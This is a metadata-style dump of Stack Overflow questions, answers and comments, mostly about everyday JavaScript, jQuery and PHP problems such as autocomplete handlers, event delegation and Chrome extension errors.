has title: Why jQuery autocomplete select not work?
upvote count: 0
answer count: 1
has body: When I input 5 in the customer_code input area. It list the values.The problem is that when I select an entry, the 'id' value should show in the customer_name area.But it didn't! [{"id":"5","code":"code005","name":"\u9867\u5ba2\u540d005"},{"id":"15","code":"code015","name":"\u9867\u5ba2\u540d015"},] the json return by php is like above.and $(function() { $( "#customer_code" ).autocomplete({ source: function( request, response ) { $.ajax({ url: "/management/order/auto", dataType: "json", data: {code: request.term}, success: function(data) { var suggestions = []; $.each(data, function(i, val) { suggestions.push({ label: val.code, // label: val.name, }); }); response( suggestions ); }, }); }, select: function(e, ui) { alert(ui.item.name); // $('#customer_name').val(ui.item.name); // $('#customer_name').val(ui.item.value.name); // return false; }, }); }); my html page is like this &lt;?php echo Form::input('customer_name', Arr::get($basic, 'customer_name'), array('id' =&gt; 'customer_name')); ?&gt; &lt;?php echo Form::input('customer_code', Arr::get($basic, 'customer_code'), array('id' =&gt; 'customer_code')); ?&gt;
tagged with: jquery
favorite count: 0
tagged with: php
has answer: http://stackoverflow.com/a/25717613
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/40203269
has comment: http://stackoverflow.com/comment/40203321
downvote count: 1
type: Question
has comment: http://stackoverflow.com/comment/40203221
tagged with: javascript
score: -1

http://stackoverflow.com/a/41764005
answers question: http://stackoverflow.com/q/25856645
has body: Events associated with pre-loaded elements works fine, but when you content is loaded dynamically via AJAX calls event handlers are not associated with them. One thing that you can do in this case is attach event to DOM elements via there parents which is available on page load. $("parentSelect").on('click', 'childSelector', function() { // Do this on click. }); Make sure one thing that you parentSelector should be available at the time of page load.
upvote count: 1
downvote count: 0
score: 1
type: Answer

http://stackoverflow.com/comment/40438583
type: AnswerComment
comment on: http://stackoverflow.com/a/25845244
score: 0
type: Comment
has text: i have added everything you given me, but it still not working, i think its something to do with the 3 line of code that i posted...

timer
tag name: timer
tags question: http://stackoverflow.com/q/25810225
type: Tag
tags question: http://stackoverflow.com/q/25824961
tags question: http://stackoverflow.com/q/25805589
tags question: http://stackoverflow.com/q/25770220
tags question: http://stackoverflow.com/q/25788386
tags question: http://stackoverflow.com/q/25827912

http://stackoverflow.com/comment/40436500
type: Comment
has text: Thank you for your answer. I updated my question. Yes the function "move_x" is what i'm looking for. Or another method to do this
score: 0
type: QuestionComment
comment on: http://stackoverflow.com/q/25844113

http://stackoverflow.com/q/25789340
type: UnansweredQuestion
has title: How to check if a closure is defined in JavaScript?
has answer: http://stackoverflow.com/a/25789363
has comment: http://stackoverflow.com/comment/40334989
has comment: http://stackoverflow.com/comment/40334975
has comment: http://stackoverflow.com/comment/40335272
score: 1
has body: When I want to check if a variable is defined I do it like if(myVar) ... but if(myClosure()) ... will obviously check what the closure returns, not itself. What is the right syntax to check if a closure is defined?
upvote count: 1
has answer: http://stackoverflow.com/a/25789605
type: Question
has answer: http://stackoverflow.com/a/25789437
tagged with: closures
tagged with: javascript
has comment: http://stackoverflow.com/comment/40334924
downvote count: 0
favorite count: 0
has answer: http://stackoverflow.com/a/25789374
has answer: http://stackoverflow.com/a/25789471
answer count: 5

http://stackoverflow.com/a/64332193
downvote count: 0
answers question: http://stackoverflow.com/q/25750884
type: Answer
score: 2
has body: Here is another video link by Erin Zimmer, who presented in the JS Conference. She talks about event loop implementation with different tasks like micro and macro tasks as well as in other environments like Node JS, Browser and Web workers. First watch Philip Roberts's video as mentioned by the OP and then this video.
upvote count: 2

http://stackoverflow.com/a/25748559
has comment: http://stackoverflow.com/comment/40261081
score: 1
upvote count: 1
accepted answer of: http://stackoverflow.com/q/25748523
has body: A possible reason for this is caching of the get request. So try setting cache: false using $.ajaxSetup() before the get request() $.ajaxSetup({ cache: false }); Setting it using ajaxSetup() will set the cache property to false for every ajax request. If you want to set the property for only one request then you can use $.ajax() instead of $.get() with the custom options
answers question: http://stackoverflow.com/q/25748523
type: AcceptedAnswer
downvote count: 0
type: Answer

http://stackoverflow.com/comment/40251086
comment on: http://stackoverflow.com/q/25743098
type: Comment
type: QuestionComment
has text: Not really *any* code but the right minimal testable code with which we can reproduce the problem ^^
score: 1

http://stackoverflow.com/q/25735050
has comment: http://stackoverflow.com/comment/41206417
answer count: 2
has body: I'm coding my Google Chrome Extension where I set the app's icon from the background script as such: try { objIcon = { "19": "images/icon19.png", "38": "images/icon38.png" }; chrome.browserAction.setIcon({ path: objIcon, tabId: nTabID }); } catch(e) { } Note that I wrapped the call in try/catch block. Still, sometimes I'm getting the following message in the console log: Unchecked runtime.lastError while running browserAction.setIcon: No tab with id: 11618. It's hard to debug this error because it seems to come up only when I close or reload the Chrome tab, it doesn't have a line number or any info for me to track, plus it's not easy to run through a debugger (i.e. I cannot set a break-point on the moment when error occurs, but if I blindly set a break-point on the chrome.browserAction.setIcon() line, I don't see the message in the log anymore.) So I'm curious if anyone could suggest how to remedy this error? EDIT: Just to post an update. I am still unable to resolve this issue. The suggestion proposed by @abraham below offers a somewhat working approach, but it is not fail safe. For instance, in a situation when the tab is closing I may call his suggested chrome.browserAction.setIcon() that may succeed if the tab is not yet closed, but while within its callback function the tab may eventually close and thus any consecutive calls to some other API that requires that same tab ID, say setBadgeBackgroundColor() may still give me that same No tab with id exception. In other words, for those who know native programming, this is a classic race condition situation. And I'm not sure if it's a bug in Chrome, because obviously JS does not offer any thread synchronization methods... I've witnessed this behavior several times while doing my tests. It doesn't happen often because we're talking about very precise timing situation, but it does happen. So if anyone finds a solution, please post it below.
tagged with: race-condition
tagged with: javascript
has comment: http://stackoverflow.com/comment/49926847
favorite count: 0
has comment: http://stackoverflow.com/comment/78167155
linked to: http://stackoverflow.com/q/16571393
tagged with: google-chrome-extension
has comment: http://stackoverflow.com/comment/40237305
linked to: http://stackoverflow.com/q/26517988
has title: Chrome Extension error: "Unchecked runtime.lastError while running browserAction.setIcon: No tab with id"
linked to: http://stackoverflow.com/q/32131089
has answer: http://stackoverflow.com/a/25736436
has answer: http://stackoverflow.com/a/65749102
type: UnansweredQuestion
score: 23
tagged with: google-chrome
downvote count: 1
upvote count: 24
has comment: http://stackoverflow.com/comment/40237569
type: Question

http://stackoverflow.com/q/25816452
tagged with: mime-types
has answer: http://stackoverflow.com/a/25816502
tagged with: skype
duplicate of: http://stackoverflow.com/q/358397
has comment: http://stackoverflow.com/comment/40385867
linked to: http://stackoverflow.com/q/358397
type: Question
has comment: http://stackoverflow.com/comment/40385913
has body: I've seen many answers to this issue like this: if (typeof(navigator.mimeTypes["application/x-skype"]) == "object") { return true; } else return false; But it doesn't seem to work, I have skype installed in my PC and in my android, and both return false. I tried to find, and skype doesn't have any mimetype register. Is there another way to verify? Thanks :)
tagged with: javascript
has comment: http://stackoverflow.com/comment/40385639
tagged with: browser
score: 0
answer count: 1
has title: How to detect if skype is installed using javascript
type: UnansweredQuestion

http://stackoverflow.com/comment/40399816
score: 0
comment on: http://stackoverflow.com/a/25824437
type: Comment
type: AnswerComment
has text: The second approach is correct. Avoid `$rootScope` as it sets global state.

http://stackoverflow.com/q/25726472
type: UnansweredQuestion
tagged with: facebook
tagged with: php
answer count: 0
score: 0
has comment: http://stackoverflow.com/comment/40225833
type: Question
has title: Facebook JS SDK: Tagging a friend in me/feed POST
tagged with: javascript
has comment: http://stackoverflow.com/comment/40224292
has comment: http://stackoverflow.com/comment/40227117
has body: I am developing a simple Facebook app which will basically just allow users to POST statuses, photos, etc. - this is just an exploratory project at the moment. I have been trying to POST statuses with varying privacy levels and have been able to POST with custom privacy successfully, however, when I try to tag a friend in the POST headers I get an oAuth exception error response. My scope appears to include everything necessary to do what I want, but I may be missing something here. "...&amp;scope=email,user_groups,user_photos,read_friendlists,manage_friendlists,publish_stream,read_stream" Here's my JS code: FB.api( "/me/feed", "POST", { "message": $('textarea').val(), "tags": $('input').val(), "privacy" : {'value': 'CUSTOM','allow': $friend_list.val() } }, function (response) { if (response &amp;&amp; !response.error) { console.log('response is: '); console.log(response); } else{ console.log('oops something went wrong here!'); console.log(response); } } ); As the SDK docs are not really that informative, I am not really sure what the purpose of place, which I apparently have to include: Comma-separated list of user IDs of people tagged in this post. You cannot specify this field without also specifying a place. I have tried setting "place" as a variety of values but I'm not sure what I am doing wrong. I have deliberately omitted it from the example code above by the way. Thanks in advance -- EDIT -- As requested, here is an example list of the headers being posted: message:this is an example post method:post privacy:{"value":"CUSTOM","allow":"123456789012345"} The above works correctly (given the correct user ID's that is), i.e. a status is created and it is only viewable by a single user/friend, but once I include "tags" it throws an oAuth error with little to no info or explanation. The reason I am trying to "tag" friends by the way is that I want people to be notified of a POST rather than just having access to it. message:this is an example post method:post priv…
has comment: http://stackoverflow.com/comment/40220396
tagged with: facebook-graph-api
has comment: http://stackoverflow.com/comment/40223852

http://stackoverflow.com/q/25850657
tagged with: javascript
tagged with: jquery
has title: adding value attribute on src tags
tagged with: append
has body: I have a blank img src &lt;img src="" id="preview" width="350" height="350"/&gt; now i want to append here src url I am using this code but not work $("#preview img").each(function () { var img = $(this); img.attr("preview",img.attr("src")); img.attr("src",imgurl); }); my full function function editRetailer(functionData) { id = functionData.id; store = functionData.url; imgurl=baseUrl+"/uploads/"+store; $("#preview img").each(function () { var img = $(this); img.attr("preview",img.attr("src")); img.attr("src",imgurl); }); $('#rq').val(id); $('div#styledModal3').load(function(){ $(this).modal({ keyboard:true, backdrop:true }); }).modal('show'); } I cant understand why not work
answer count: 0
has comment: http://stackoverflow.com/comment/40447895
has comment: http://stackoverflow.com/comment/40447632
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/40450667
type: Question
score: 0

http://stackoverflow.com/q/25791521
type: Question
tagged with: javascript
has answer: http://stackoverflow.com/a/25791642
answer count: 1
downvote count: 0
favorite count: 0
has title: Javascript Redirect Mobile Specific Page
tagged with: http-redirect
upvote count: 1
tagged with: php
accepted answer: http://stackoverflow.com/a/25791642
type: AnsweredQuestion
score: 1
has body: I have a website and a mobile version of that website and I want to use something to redirect users based upon their browser size. At the moment I have: &lt;script&gt; if (screen.width &lt;= 1024) window.location.replace("http://www.website.com/") else window.location.replace("http://m.website.com/") &lt;/script&gt; This works fine for redirecting to home pages but what about linking to specific pages based on external income sources? For example if someone reads my tweet about my latest blog which is at http://www.website.com/post.php?id=1111, how do I ensure that mobile users are redirected to http://m.website.com/post.php?id=1111?

http://stackoverflow.com/q/25738676
score: -2
answer count: 1
accepted answer: http://stackoverflow.com/a/25738785
tagged with: javascript
tagged with: jquery
has comment: http://stackoverflow.com/comment/40243818
has comment: http://stackoverflow.com/comment/40243350
downvote count: 2
has title: Hover State And JS Click Function On A CSS After Element
tagged with: http://stackoverflow.com/tag/html
has answer: http://stackoverflow.com/a/25738785
favorite count: 0
linked to: http://stackoverflow.com/q/7478336
tagged with: css
duplicate of: http://stackoverflow.com/q/7478336
linked to: http://stackoverflow.com/q/17788990
type: AnsweredQuestion
upvote count: 0
has comment: http://stackoverflow.com/comment/40243394
linked to: http://stackoverflow.com/q/5777210
has comment: http://stackoverflow.com/comment/40243408
has comment: http://stackoverflow.com/comment/40243404
has body: I have a css after element that needs to function like a back to top of page button but for some reason the hover state and jQuery click function do not seem to work. Not sure if its maybe a syntax error that I am missing? HTML &lt;div id="divMain"&gt; ::after &lt;/div&gt; CSS: #divMain:after { content: 'Back To Top'; position: relative; left: 93%; font-size: 16px; bottom: 30px; cursor: pointer; padding: 5px 10px; } #divMain:after:hover { color: #b0f14f; } JS/jQuery: $('#divMain:after').click(function () { $('html, body').animate({ scrollTop: 0 }, 'fast'); });
type: Question

http://stackoverflow.com/comment/40259261
type: QuestionComment
has text: If you do want to use UDP to send files, you will have to implement your own check algorithm to ensure the file integrity. Anyway, to send a file just read it and send its buffer?
type: Comment
score: 3
comment on: http://stackoverflow.com/q/25747285

http://stackoverflow.com/a/25762569
answers question: http://stackoverflow.com/q/25762449
downvote count: 0
type: Answer
upvote count: 1
score: 1
has body: you can use jquery plugins like jquery popup overly ,inthe link below there is 250 plugins for pop up and all have documentation , jquery popup overly also listed there ,check the link below 250 jquery popup plugins

http://stackoverflow.com/comment/40441780
type: QuestionComment
comment on: http://stackoverflow.com/q/25846987
has text: `setTimeout` shouldn't be used with casperjs, because you'll loose the control flow. You can add `resource.error`, `resource.received` and `resource.requested` to see if the request completes. Maybe run casperjs with `--web-security=false` command line flag.
score: 0
type: Comment

http://stackoverflow.com/q/25827391
favorite count: 0
type: Question
tagged with: input
answer count: 1
has body: I have this error but I can't see how to fix it. I've used JSLint with some results (it just tells me document isn't a global value, or the 'else clause' was not needed, etc) but no solution. I have a form to be submitted and I need to compare that both email fields are equal. So I want a nice simple email1 == email2 script, jQuery isn't my strongest point, but I came up with this: My form ID is "regIn", my email fields are type="email" (HTML5) and id="MailA" and id="MailB" respectively. I have preloaded jquery 1.11.1.min.js My jQuery code (see below why the #forgotten is still in there): $(document).ready(function() { $('#forgotten').click(function() { $('#passbox').toggle(360); return false; }); $('#regIn').submit(function() { // * referenced; but this isn't in the code: alert('alert1'); if ($('#MailA').val() === $('#MailB').val()) { return true; } $('#errorMsg').innerHTML("Emails need to be the same!"); alert('Hello'); return false; }); }); So - I use Alerts to see how far the script gets (i know, tacky debugging). firebug doesn't report page errors or script errors that I can see. The "alert 1" always fires on form submission, and successfully shows me the values of #MailA.val() and #MailB.val(), But the if statement doesn't seem to fire at all. I have tried making the values variables (var d1 = $('#MailA').val() etc. ) but that doesn't change anything, the form always submits and neither the if or the else (which did surround the text below the if statement clause but JSLint said it wasn't needed so I removed it). I have also used variations of syntax, using != and == but was also reading from JSLint that === and !== are preferred. My HTML: As I said, I've looked around for the last hour or so and I just can't see what it is. Obviously the code is stripped down for the question, the only other aspect is that there is another piece of jQuery in the document ready function - as shown the #forgotten appears for showing / hiding an info. box, this works fine.
upvote count: 3
tagged with: forms
has answer: http://stackoverflow.com/a/25827522
has comment: http://stackoverflow.com/comment/40405312
downvote count: 0
tagged with: javascript
tagged with: jquery
type: AnsweredQuestion
score: 3
accepted answer: http://stackoverflow.com/a/25827522
tagged with: submit
has title: jQuery form submit doesn't appear to trigger if statement

http://stackoverflow.com/q/25839144
score: 4
has body: I am using the dirty-forms / are-you-sure js on a test form that confirms if the user does want to navigate away from a page with unsaved changes. This works as expected, but I am also using a "please wait" image that shows when the user makes a call to the server. How do I only trigger the "please wait" image ONLY when the user clicks on the "Leave this Page" button on the are-you-sure message pop up box? Currently I have the please wait image triggered to appear when the user clicks on the cancel button, b/c I cannot think where else to trigger it from. Here is my < head > code: Here is my template code: Cancel Here is the js code that I have: EDIT - added the hide image css as requested. This is the CSS that hides the please wait icon when the page 1st loads: #loading-div-background { background-color: rgba(246,246,246,0.7); display: none; position: fixed; top: 0; left: 0; width: 100%; height: 100%; z-index: 9999; }
downvote count: 2
answer count: 3
favorite count: 0
has title: are you sure / dirty forms - hide or show please wait
accepted answer: http://stackoverflow.com/a/27306287
possible better answer: http://stackoverflow.com/a/25839532
has comment: http://stackoverflow.com/comment/42896712
type: AnsweredQuestion
tagged with: form-submit
has answer: http://stackoverflow.com/a/27306287
has answer: http://stackoverflow.com/a/27337088
tagged with: forms
type: Question
has comment: http://stackoverflow.com/comment/42895192
has comment: http://stackoverflow.com/comment/42894115
has answer: http://stackoverflow.com/a/25839532
linked to: http://stackoverflow.com/q/10311663
upvote count: 6
tagged with: javascript
tagged with: jquery

http://stackoverflow.com/comment/40485597
comment on: http://stackoverflow.com/q/25853260
score: 1
type: Comment
type: QuestionComment
has text: It *was* a different script error; although the scripting continued to execute, a third-party jQuery plugin was throwing an error and the resolution wouldn't happen on the final promise (the one returned from `loadWidget`). @guest271314, in Chrome you can right-click an expression and click `Store as temporary variable` to be write expressions that reference it in the console.

http://stackoverflow.com/a/25782893
score: 1
upvote count: 1
has body: A fiddle would definitely help. But if I understand your code correctly I believe you can't just update the .cursor's position on mouseover of the .sidebarnav - instead you need to update its position on mousemove ie all the time. Since you don't want the cursor to move when not hovering the sidebar you'd need to keep track of whether or not it is hovered. Something like: var isOver = false; $('.sidebarnav').mouseover(function () { isOver = true; }).mouseout(function () { isOver = false; }); $(document).mousemove( function(e) { mouseY = e.pageY; mouseX = e.pageX; translateY = 'translateY(' + mouseY + 'px)'; translateX = 'translateX(' + mouseX + 'px)'; if (isOver) { $('.sidebarnav .cursor').css({'transform': translateY}); } }); Untested. Edit: It would increase performance if you cached your queries as well; var sidebar = $('.sidebarnav'); var cursor = sidebar.find('.cursor'); Edit2: You may have better results with mouseenter and mouseleave too I think. I think over/out triggers as soon as you hover a child of the element as well.
answers question: http://stackoverflow.com/q/25782773
type: Answer
downvote count: 0

http://stackoverflow.com/comment/40336069
type: QuestionComment
has text: that other post have the same title and question and **was not yet answered** in a way you could accept it. Please don't double post as a matter of giving your question attention. This practice is not well received and will result in duplicates deletion and if very often used in other consequences such as warnings or bans.
score: 0
comment on: http://stackoverflow.com/q/25788386
type: Comment

http://stackoverflow.com/comment/40452198
type: AnswerComment
score: 0
type: Comment
has text: now i get the error "Uncaught SyntaxError: Unexpected token ) escConfigController.js:8 Error: [ng:areq] Argument 'EscConfigurationCtrl' is not a function, got undefined"
comment on: http://stackoverflow.com/a/25853045

http://stackoverflow.com/q/25717580
has title: php, html, change a select to selective after writeing first word and so on
type: Question
upvote count: 2
answer count: 1
tagged with: javascript
favorite count: 0
accepted answer: http://stackoverflow.com/a/25717620
tagged with: http://stackoverflow.com/tag/html
has answer: http://stackoverflow.com/a/25717620
has body: this is the select. one tow three fore //here i have more then 300 select which i will fetch from database i want to change it input so when i write the first later it fetch me the match items and so on if the secound later it match as i write. if is possible please write me hint so i could save my time. for example if i write (t) it will show me tow three regards
tagged with: php
score: 2
type: AnsweredQuestion
downvote count: 0
has comment: http://stackoverflow.com/comment/40203425

http://stackoverflow.com/q/25835746
upvote count: 1
has comment: http://stackoverflow.com/comment/40420346
type: Question
has comment: http://stackoverflow.com/comment/40420934
downvote count: 0
tagged with: javascript
tagged with: jquery
has title: How to create a functionality like a 'magnifying glass' on a html element/tag
linked to: http://stackoverflow.com/q/4912092
has comment: http://stackoverflow.com/comment/40420680
has comment: http://stackoverflow.com/comment/40420897
has comment: http://stackoverflow.com/comment/40420410
has comment: http://stackoverflow.com/comment/40432817
tagged with: http://stackoverflow.com/tag/html
has comment: http://stackoverflow.com/comment/40420442
favorite count: 0
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/40420369
has comment: http://stackoverflow.com/comment/40420619
has comment: http://stackoverflow.com/comment/40420830
tagged with: css
has body: I have a simple div (id="one") , when user hover it , I need the div to get bigger and the nested text as well. The idea is getting the feeling of looking through 'magnifying glass'.Can't use plugins, I don't know how to start... Is it possible ? //css .one{ height:100px; width:100px; } //html &lt;div id="one"&gt; Another one bites the dust &lt;/div&gt;
has comment: http://stackoverflow.com/comment/40420358
answer count: 0
score: 1

http://stackoverflow.com/q/25824854
has body: I am new to node.js, and am not yet familiar with the ecosystem around it. I have a one-page Express app that caches some data in redis and I would like to add a few configuration settings to the redis db. Thus far I have been simply using redis-cli to manually set the necessary keys. I would prefer to somehow have npm run a script (or something), so that deploying the app on a server is as simple as possible. What is the recommended mechanism for initializing a redis database for a node.js app?
answer count: 1
tagged with: node-redis
tagged with: redis
tagged with: node.js
has answer: http://stackoverflow.com/a/25825863
type: AnsweredQuestion
type: Question
tagged with: javascript
accepted answer: http://stackoverflow.com/a/25825863
has title: What is the recommended mechanism for initializing a redis database for a node.js app?
score: 0

http://stackoverflow.com/q/25763088
tagged with: google-chrome
linked to: http://stackoverflow.com/q/17097941
has comment: http://stackoverflow.com/comment/40287599
type: Question
tagged with: javascript
possible better answer: http://stackoverflow.com/a/25765927
has answer: http://stackoverflow.com/a/25765927
answer count: 3
tagged with: webrtc
downvote count: 0
has answer: http://stackoverflow.com/a/25766880
tagged with: macos
has title: Google Canary - on Macbook Air OSX 10.9.4 is giving error
favorite count: 0
upvote count: 2
has answer: http://stackoverflow.com/a/26071681
score: 2
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/25766880
has body: Is this a BUG in Mac or Canary? I need to use the screen-capture via Google Canary, which was working before in past old versions. But since they release Canary M37 or M39 its not working anymore. Is my --enable-usermedia-screen-capturing command invalid the way i am executing it? $ alias canary="open /Applications/Google\ Chrome\ Canary.app/ --args --enable-usermedia-screen-capturing" $ canary Now when i try to start screen capture (which was working in old versions) its giving me error failing: getUserMedia error: NavigatorUserMediaError {constraintName: "", message: "", name: "InvalidStateError"} code: function start() { console.log("Requesting local stream"); btn1.disabled = true; var video_constraints = { audio: false, video: { mandatory: { chromeMediaSource: 'screen', maxWidth: 1024, maxHeight: 768, minWidth:800, minHeight:400, minFrameRate: 1, maxFrameRate: 2, //minAspectRatio: 1.333, maxAspectRatio: 1.334, } } }; navigator.webkitGetUserMedia(video_constraints, function(stream){ console.log("Received local stream"); vid1.src = webkitURL.createObjectURL(stream); localstream = stream; }, function(e){ console.log("getUserMedia error: ", e); }); } EDIT: Start Cancel

http://stackoverflow.com/comment/112005727
score: 0
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/37092497
has text: What is I want to pluck bt multiple keys and return an array of _objects_ , how would the ES6 version look?

http://stackoverflow.com/comment/40383390
has text: You can't use `+=` on a variable that is undefined. Your code doesn't even compile.
type: AnswerComment
type: Comment
score: 1
comment on: http://stackoverflow.com/a/25815419

http://stackoverflow.com/q/25745521
answer count: 2
has comment: http://stackoverflow.com/comment/40255746
has title: post button value to different html file
downvote count: 1
tagged with: jquery
favorite count: 0
has answer: http://stackoverflow.com/a/25746027
type: UnansweredQuestion
tagged with: http://stackoverflow.com/tag/html
upvote count: 0
has comment: http://stackoverflow.com/comment/40256536
has answer: http://stackoverflow.com/a/25814159
type: Question
has body: Basically I have 2 buttons that update my datatable when they are clicked, eggs What I want to achieve is to have the buttons in one html file, say page1.html Which would update the datatable in a different html file, say page2, eggs I am pretty much a complete noob to this so any help would be greatly appreciated, thanks :)
tagged with: javascript
score: -1

http://stackoverflow.com/a/25776686
upvote count: 1
type: Answer
has comment: http://stackoverflow.com/comment/40313013
has comment: http://stackoverflow.com/comment/40313097
downvote count: 0
has comment: http://stackoverflow.com/comment/40313010
score: 1
answers question: http://stackoverflow.com/q/25776659
has comment: http://stackoverflow.com/comment/40313073
has body: Try this: function dataSend(type, message) { var a={}; a[type]=message; return a; } Javascript doesn't require quotes around the property names. Using {type:message} or {'type':message} produces the same result.

http://stackoverflow.com/a/25743158
accepted answer of: http://stackoverflow.com/q/25743099
score: 1
upvote count: 1
downvote count: 0
has body: You need to use event delegation for attaching events on dynamically created element. You will also need to modify the selector to target element with id panel: $("#cerca").on('click','a#close',function(){ $(this).parent().siblings('#panel').slideUp("slow"); }); Working Demo
type: AcceptedAnswer
type: Answer
answers question: http://stackoverflow.com/q/25743099

http://stackoverflow.com/comment/125607873
score: 0
type: Comment
has text: I have copied the profile to another location and tried the same but it is not working still and appending the default in the profile path. Any input? I am using macOS. This is my path of chrome profile````options.addArguments("user-data-dir=/Users/henry/Documents/POC/Profile 4");````
comment on: http://stackoverflow.com/a/31728551
type: AnswerComment

http://stackoverflow.com/comment/40448129
has text: It's been a while since I've done any nodeJS but this will probably do what you need it to.
type: AnswerComment
score: 0
comment on: http://stackoverflow.com/a/25850436
type: Comment

http://stackoverflow.com/comment/40248727
has text: Firstly, you should clear content of #showcontent calling the method empty(). Secondly, you search for .show-gallery-content class inside last clicked .gallery-item class. To take html from it, call method contents(). If you would not use method clone(), then content will be taken directly from the .gallery-item, and inside .gallery-item will be no more .show-gallery-content (so when you will click second time on it, there is no any .show-gallery-content inside .gallery-item). So, call method clone(). Thirdly, insert taken html code from .show-gallery-content to the #showcontent.
comment on: http://stackoverflow.com/a/25741590
type: Comment
score: 0
type: AnswerComment

http://stackoverflow.com/q/25767540
has comment: http://stackoverflow.com/comment/40296421
has comment: http://stackoverflow.com/comment/40296205
tagged with: javascript
has comment: http://stackoverflow.com/comment/40298084
has comment: http://stackoverflow.com/comment/40296431
has comment: http://stackoverflow.com/comment/40296335
score: 0
has body: I have a page where multiple HTML tables are there...I need to download all the HTML tables to Microsoft Excel. With the current coding I have I can download the first table but I need to download all the tables. This is the JavaScript which I have used: And this is the portion of the PHP where the table is populated: <?php echo $b; //row id ?> Merk Artikel naam EAN Prijs Kieskeurig.nl Verschil Kieskeurig.nl RAL Prijs <?php while($row=mysql_fetch_object($sql)):?> <?php echo $row->merk; //row id ?> <?php echo (utf8_decode($row->OM)); //row id ?> <?php echo(utf8_decode("TW_URL.">".$row->EAN."")); ?> <?php $num2 = $row->PRICE; echo number_format($num2,2,'.', ''); ?> <?php $num6 = $num2 - $row->RAL; echo number_format($num6, 2, '.', ''); // row first name ?> <?php echo $row->RAL; // row first name ?> <?php endwhile;?> <?php } }?> <?php }?> Any help is very much appreciated.
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/40296163
tagged with: php
answer count: 0
has title: How to download multiple HTML tables to Excel using JavaScript
type: Question

http://stackoverflow.com/q/25840664
upvote count: 0
has body: I am trying to print the value of a slider next to the slider. The first slider works and its value changes when the slider is moved. I do not know why, but the second slider changes the value printed next to the first slider. I want to be able to print the values of each individual slider correctly. Here is the HTML: Theta 0 Subdivide 0 Here is the javascript function I use to print the values of the sliders: Why does the javascript function use the same variable when called by two different sliders? How can I change the javascript function to do what I want?
type: Question
has comment: http://stackoverflow.com/comment/40429866
tagged with: javascript
has title: HTML Sliders issues
score: -1
has answer: http://stackoverflow.com/a/25840781
accepted answer: http://stackoverflow.com/a/25840781
tagged with: http://stackoverflow.com/tag/html
downvote count: 1
answer count: 1
favorite count: 0
has comment: http://stackoverflow.com/comment/40429906
tagged with: slider
type: AnsweredQuestion

http://stackoverflow.com/comment/40217622
type: Comment
score: 0
has text: I am sorry I am afraid I don't understand what you are asking. A submission button on every tab, right ? But what do you mean by "query the fields if they have not submitted info" ?
comment on: http://stackoverflow.com/a/25725032
type: AnswerComment

http://stackoverflow.com/comment/40231528
type: Comment
has text: Actually it is a correct way to order your events. There are no problems with this.
comment on: http://stackoverflow.com/q/25732334
score: 0
type: QuestionComment

http://stackoverflow.com/a/25737305
has body: You need to add socket.io.js to your client. FOR HTML: FOR JADE: script(type='text/javascript',src='/socket.io/socket.io.js')
type: AcceptedAnswer
answers question: http://stackoverflow.com/q/25736437
upvote count: 5
accepted answer of: http://stackoverflow.com/q/25736437
type: Answer
downvote count: 0
score: 5

http://stackoverflow.com/comment/40510177
has text: Yes that would be a good idea, only the reason I used type and names is because I do not know what the actual object data will be at any given time. So using type and names would leave me with known object structure no matter what the data structure is coming in.
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/25865649
type: Comment

http://stackoverflow.com/comment/40425315
type: Comment
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/25837768
has text: Made your suggested changes, stopped all the errors but now the button still doesn't do anything... Any ideas?

http://stackoverflow.com/comment/40320598
has text: Thanks both of you @HamHamJ and @ folkol, it solved my issue =)
type: AnswerComment
score: 0
comment on: http://stackoverflow.com/a/25772398
type: Comment

events
tags question: http://stackoverflow.com/q/25733082
tags question: http://stackoverflow.com/q/25744436
tags question: http://stackoverflow.com/q/25730495
tags question: http://stackoverflow.com/q/25771150
tags question: http://stackoverflow.com/q/25732755
tags question: http://stackoverflow.com/q/25866280
tags question: http://stackoverflow.com/q/25757153
tags question: http://stackoverflow.com/q/25862012
tags question: http://stackoverflow.com/q/25733342
tags question: http://stackoverflow.com/q/25751132
tags question: http://stackoverflow.com/q/25724354
tag name: events
tags question: http://stackoverflow.com/q/25738910
tags question: http://stackoverflow.com/q/25726709
tags question: http://stackoverflow.com/q/25727206
tags question: http://stackoverflow.com/q/25846305
tags question: http://stackoverflow.com/q/25854276
type: Tag

http://stackoverflow.com/comment/40330938
score: 0
comment on: http://stackoverflow.com/q/25787094
has text: Why do you want to send value to document.ready on button click. You can write another method for the button click
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/40256248
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25745378
has text: I need to have error status of operation at PHP side. And I don't want to store the file at PHP side.

http://stackoverflow.com/a/25743032
has body: I'd suggest, at first glance: var inputStr = inputStr.replace(new RegExp('(' + str + ')', 'g'), '$1');
upvote count: 1
type: AcceptedAnswer
downvote count: 0
type: Answer
score: 1
has comment: http://stackoverflow.com/comment/40251165
accepted answer of: http://stackoverflow.com/q/25742949
has comment: http://stackoverflow.com/comment/40250975
answers question: http://stackoverflow.com/q/25742949

http://stackoverflow.com/q/25825960
accepted answer: http://stackoverflow.com/a/25826045
downvote count: 1
has comment: http://stackoverflow.com/comment/40402599
type: Question
has title: Weird JS syntax: math operator in function declaration
has comment: http://stackoverflow.com/comment/40402522
tagged with: javascript
score: 0
answer count: 1
has answer: http://stackoverflow.com/a/25826045
favorite count: 0
upvote count: 1
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/40402586
has comment: http://stackoverflow.com/comment/40402647
has body: I just played with Twitter API and found very weird construction. It's division operator between function name and arguments passing. c/({"count":8098,"url":"http:\/\/example.com\/"}); I supposed that this should throw parser exception, but it works − just returning NaN instead of undefined. Also it works similar with * and - operators, while + returns c.toString() (or .valueOf, I dunno). Even more, it's really syntax error thrown if i don't pass object to function. Here's examples: function c() {} &gt;&gt; undefined c &gt;&gt; function c() {} c/() &gt;&gt; SyntaxError: Unexpected token ) c/({}); &gt;&gt; NaN c+({}) &gt;&gt; "function c() {}[object Object]" c({}) &gt;&gt; undefined I ran this in Chrome, but I belive it works everywhere if Twitter put it in response. So. Why this even work, and how it works exactly? I believe this somehow releated to function returning value and its implicit type coercion, but I still don't get it.

http://stackoverflow.com/comment/40242279
type: Comment
score: 0
type: QuestionComment
comment on: http://stackoverflow.com/q/25737938
